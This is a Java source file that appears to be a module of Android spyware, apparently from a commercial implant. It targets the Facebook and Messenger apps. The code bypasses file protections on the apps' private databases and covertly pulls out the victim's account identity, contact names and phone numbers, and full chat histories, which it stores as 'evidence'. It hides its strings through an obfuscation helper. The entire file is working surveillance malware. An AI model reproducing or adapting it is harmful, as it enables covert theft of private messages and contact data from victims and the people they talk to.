package com.android.dvci.module.chat;
import java.io.IOException;
import java.util.ArrayList;
import java.util.Date;
import java.util.Hashtable;
import java.util.List;
import java.util.concurrent.Semaphore;
import org.json.JSONArray;
import org.json.JSONException;
import org.json.JSONObject;
import org.json.JSONTokener;
import android.database.Cursor;
import com.android.dvci.auto.Cfg;
import com.android.dvci.db.GenericSqliteHelper;
import com.android.dvci.db.RecordHashPairVisitor;
import com.android.dvci.db.RecordHashtableIdVisitor;
import com.android.dvci.db.RecordListVisitor;
import com.android.dvci.db.RecordVisitor;
import com.android.dvci.file.Path;
import com.android.dvci.module.ModuleAddressBook;
import com.android.dvci.util.Check;
import com.android.dvci.util.StringUtils;
import com.android.mm.M;
public class ChatFacebook extends SubModuleChat {
private static final String TAG = "ChatFacebook";
private static final int PROGRAM = 0x02;
String pObserving = M.e("com.facebook.");
private Date lastTimestamp;
private Hashtable<String, Long> lastFb;
Semaphore readChatSemaphore = new Semaphore(1, true);
// private String dbDir;
private String account_uid;
private String account_name;
String dirKatana = M.e("/data/data/com.facebook.katana/databases");
String dirOrca = M.e("/data/data/com.facebook.orca/databases");
private Hashtable<String, Contact> contacts = new Hashtable<String, Contact>();
@Override
public int getProgramId() {
return PROGRAM;
}
@Override
String getObservingProgram() {
return pObserving;
}
@Override
void notifyStopProgram(String processName) {
if (processName.contains(M.e("katana")))
fetchFb(dirKatana);
else if (processName.contains(M.e("orca")))
fetchFb(dirOrca);
}
@Override
protected void start() {
lastFb = markup.unserialize(new Hashtable<String, Long>());
if (Cfg.DEBUG) {
Check.log(TAG + " (start), read lastFb: " + lastFb);
}
if (!fetchFb(dirOrca)) {
fetchFb(dirKatana);
}
}
private boolean fetchFb(String dir) {
if (Cfg.DEBUG) {
Check.log(TAG + " (fetchFb) " + dir);
}
if (readMyAccount(dir)) {
ModuleAddressBook.createEvidenceLocal(ModuleAddressBook.FACEBOOK, account_uid, account_name);
readFbMessageHistory(dir);
return true;
}
return false;
}
@Override
protected void stop() {
if (Cfg.DEBUG) {
Check.log(TAG + " (stop), ");
}
}
private boolean readMyAccount(String dbDir) {
String dbFile = M.e("prefs_db");
if (!Path.unprotect(dbDir + "/" + dbFile, 3, false)) {
if (Cfg.DEBUG) {
Check.log(TAG + " (readMyAccount) cannot unprotect file: %s/%s", dbDir, dbFile);
}
return false;
}
GenericSqliteHelper helper = GenericSqliteHelper.openCopy(dbDir, dbFile);
if (helper == null) {
if (Cfg.DEBUG) {
Check.log(TAG + " (readMyAccount) Error: cannot open " + dbDir + "/" + dbFile);
}
return false;
}
try {
String selection = null;
RecordHashPairVisitor visitor = new RecordHashPairVisitor("key", "value");
helper.traverseRecords(M.e("preferences"), visitor);
Hashtable<String, String> preferences = visitor.getMap();
account_uid = preferences.get(M.e("/auth/user_data/fb_uid"));
account_name = preferences.get(M.e("/auth/user_data/fb_username"));
if (StringUtils.isEmpty(account_name)) {
String account_user = preferences.get(M.e("/auth/user_data/fb_me_user"));
try {
JSONObject root = (JSONObject) new JSONTokener(account_user).nextValue();
account_uid = root.getString("uid");
account_name = root.getString("name");
} catch (JSONException e) {
if (Cfg.DEBUG) {
Check.log(TAG + " (readMyAccount) Error: " + e);
}
}
}
return (!StringUtils.isEmpty(account_name) && !StringUtils.isEmpty(account_uid));
}finally{
helper.disposeDb();
}
}
private void readFbMessageHistory(String dbDir) {
if (!readChatSemaphore.tryAcquire()) {
if (Cfg.DEBUG) {
Check.log(TAG + " (readFbMessageHistory), semaphore red");
}
return;
}
try {
boolean updateMarkup = false;
if (Cfg.DEBUG) {
Check.log(TAG + " (readFbMessageHistory) account: " + account_uid + " dir: " + dbDir);
}
Path.unprotectAll(dbDir, true);
if (ModuleAddressBook.getInstance() != null) {
if (Path.unprotect(dbDir, M.e("users_db2"), true)) {
readAddressUser(dbDir);
} else if (Path.unprotect(dbDir, M.e("contacts_db2"), true)) {
readAddressContacts(dbDir);
}
} else {
if (Cfg.DEBUG) {
Check.log(TAG + " (readFbMessageHistory) AddressBook not enabled.");
}
}
String dbFile1 = M.e("threads_db");
String dbFile2 = M.e("threads_db2");
GenericSqliteHelper helper = GenericSqliteHelper.openCopy(dbDir, dbFile1);
if (helper == null) {
helper = GenericSqliteHelper.open(dbDir, dbFile2);
}
if (helper == null) {
if (Cfg.DEBUG) {
Check.log(TAG + " (getFbConversations) Error: null helper");
}
return;
}
try{
try {
readFB(helper, M.e("thread_id"));
return;
} catch (Exception ex) {
if (Cfg.DEBUG) {
Check.log(TAG + " (readFbMessageHistory) Error: " + ex);
}
}
try {
readFB(helper, "thread_key");
return;
} catch (Exception ex) {
if (Cfg.DEBUG) {
Check.log(TAG + " (readFbMessageHistory) Error: " + ex);
}
}
} finally{
helper.disposeDb();
}
} finally {
readChatSemaphore.release();
}
}
private void readFB(GenericSqliteHelper helper, String field_id) {
List<FbConversation> conversations = getFbConversations(field_id, helper, account_uid);
for (FbConversation conv : conversations) {
if (Cfg.DEBUG) {
Check.log(TAG + " (readFbMessageHistory) conversation: " + conv.id);
}
long lastConvId = lastFb.containsKey(conv.id) ? lastFb.get(conv.id) : 0;
if (lastConvId < conv.timestamp) {
if (Cfg.DEBUG) {
Check.log(TAG + " (readFbMessageHistory) lastConvId(" + lastConvId + ") < conv.timestamp("
+ conv.timestamp + ")");
}
long lastReadId = (long) fetchMessages(field_id, helper, conv, lastConvId);
if (lastReadId > 0) {
updateMarkupFb(conv.id, lastReadId, true);
}
}
}
}
private long fetchMessages(String id_field, GenericSqliteHelper helper, final FbConversation conv, long lastConvId) {
final ArrayList<MessageChat> messages = new ArrayList<MessageChat>();
String[] projection = new String[] { M.e("text"), M.e("sender"), M.e("timestamp_ms") };
String selection = String.format(id_field + M.e(" = '%s' and text != '' and timestamp_ms > %s"), conv.id,
lastConvId);
String order = M.e("timestamp_ms");
RecordVisitor visitor = new RecordVisitor(projection, selection, order) {
@Override
public long cursor(Cursor cursor) {
long timestamp = 0;
try {
String body = cursor.getString(0);
String sender = cursor.getString(1);
JSONObject root = (JSONObject) new JSONTokener(sender).nextValue();
String peer = root.getString(M.e("email")).split("@")[0];
String name = root.getString(M.e("name"));
// localtime or gmt? should be converted to gmt
timestamp = cursor.getLong(2);
Date date = new Date(timestamp);
if (Cfg.DEBUG) {
Check.log(TAG + " (cursor) sc.account: " + conv.account + " peer: " + peer + " body: " + body
+ " timestamp:" + timestamp);
}
boolean incoming = !(peer.equals(conv.account));
if (Cfg.DEBUG) {
Check.log(TAG + " (cursor) incoming: " + incoming);
}
String from, to = null;
String fromDisplay, toDisplay = null;
from = peer;
fromDisplay = name;
to = conv.getTo(peer);
toDisplay = conv.getDisplayTo(peer);
if (!StringUtils.isEmpty(body)) {
MessageChat message = new MessageChat(getProgramId(), date, from, fromDisplay, to, toDisplay,
body, incoming);
messages.add(message);
}
} catch (Exception ex) {
if (Cfg.DEBUG) {
Check.log(TAG + " (fetchMessages) Error: " + ex);
}
}
return timestamp;
}
};
long newLastId = helper.traverseRecords(M.e("messages"), visitor);
if (messages != null && messages.size() > 0) {
saveEvidence(messages);
}
return newLastId;
}
private void updateMarkupFb(String threadId, long newLastId, boolean serialize) {
if (Cfg.DEBUG) {
Check.log(TAG + " (updateMarkupSkype), mailStore: " + threadId + " +lastId: " + newLastId);
}
lastFb.put(threadId, newLastId);
try {
if (serialize || (newLastId % 10 == 0)) {
if (Cfg.DEBUG) {
Check.log(TAG + " (updateMarkupSkype), write lastId: " + newLastId);
}
markup.writeMarkupSerializable(lastFb);
}
} catch (IOException e) {
if (Cfg.DEBUG) {
Check.log(TAG + " (updateMarkupSkype) Error: " + e);
}
}
}
public void saveEvidence(ArrayList<MessageChat> messages) {
getModule().saveEvidence(messages);
}
private List<FbConversation> getFbConversations(String id_field, GenericSqliteHelper helper, final String account) {
if (helper == null) {
if (Cfg.DEBUG) {
Check.log(TAG + " (getFbConversations) Error: null helper");
}
return null;
}
final List<FbConversation> conversations = new ArrayList<FbConversation>();
// "thread_id"
String[] projection = new String[] { id_field, M.e("participants"), M.e("timestamp_ms") };
String selection = M.e("timestamp_ms > 0 ");
RecordVisitor visitor = new RecordVisitor(projection, selection) {
@Override
public long cursor(Cursor cursor) {
FbConversation c = new FbConversation();
c.account = account;
c.id = cursor.getString(0);
String value = cursor.getString(1);
c.timestamp = cursor.getLong(2);
Contact[] contacts;
try {
contacts = json2Contacts(value);
c.contacts = contacts;
if (Cfg.DEBUG) {
// Check.log(TAG + " (cursor) contacts: " +
// contacts[0].name + " -> " + contacts[1].name);
}
} catch (JSONException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
conversations.add(c);
return 0;
}
};
helper.traverseRecords(M.e("threads"), visitor);
return conversations;
}
private void readAddressUser(String dbDir) {
if (Cfg.DEBUG) {
Check.log(TAG + " (readAddressUser) ");
}
String dbFile = M.e("users_db2");
GenericSqliteHelper helper = GenericSqliteHelper.openCopy(dbDir, dbFile);
// SQLiteDatabase db = helper.getReadableDatabase();
String[] projection = StringUtils.split( M.e("fbid,first_name,last_name,name,email_addresses,phone_numbers") );
String selection = null;
RecordHashtableIdVisitor visitor = new RecordHashtableIdVisitor(projection);
helper.traverseRecords("facebook_user", visitor);
}
private void readAddressContacts(String dbDir) {
if (Cfg.DEBUG) {
Check.log(TAG + " (readAddressContacts) ");
}
String dbFile = M.e("contacts_db2");
GenericSqliteHelper helper = GenericSqliteHelper.openCopy(dbDir, dbFile);
// SQLiteDatabase db = helper.getReadableDatabase();
RecordListVisitor visitor = new RecordListVisitor("data");
helper.traverseRecords(M.e("contacts"), visitor);
boolean serializeContacts = false;
for (String value : visitor.getList()) {
try {
Contact contact = json2Contact(value);
serializeContacts |= ModuleAddressBook.createEvidenceRemote(ModuleAddressBook.FACEBOOK, contact);
contacts.put(contact.id, contact);
} catch (JSONException e) {
if (Cfg.DEBUG) {
Check.log(TAG + " (readAddressContacts) Error: " + e);
}
}
}
if (serializeContacts) {
ModuleAddressBook.getInstance().serializeContacts();
}
}
private Contact json2Contact(String value) throws JSONException {
JSONObject root = (JSONObject) new JSONTokener(value).nextValue();
String fbId = root.getString(M.e("profileFbid"));
JSONObject name = root.getJSONObject(M.e("name"));
String fullName = name.getString(M.e("displayName"));
JSONArray phones = root.getJSONArray(M.e("phones"));
String numbers = "";
for (int i = 0; i < phones.length(); i++) {
numbers += phones.getJSONObject(i).get(M.e("universalNumber")) + " ";
}
// String picture = root.getString("bigPictureUrl");
Contact contact = new Contact(fbId, numbers, fullName, "Id: " + fbId);
return contact;
}
private Contact[] json2Contacts(String value) throws JSONException {
JSONArray jcontacts = (JSONArray) new JSONTokener(value).nextValue();
Contact[] contacts = new Contact[jcontacts.length()];
for (int i = 0; i < jcontacts.length(); i++) {
JSONObject root = (JSONObject) jcontacts.get(i);
if (Cfg.DEBUG) {
Check.log(TAG + " (json2Contacts) root: " + root);
}
String email = root.getString(M.e("email"));
String fbId = email.split("@")[0];
String fullName = root.getString(M.e("name"));
Contact contact = new Contact(fbId, "", fullName, M.e("Id: ") + fbId);
if (Cfg.DEBUG) {
Check.log(TAG + " (json2Contacts) " + contact);
}
contacts[i] = contact;
}
return contacts;
}
}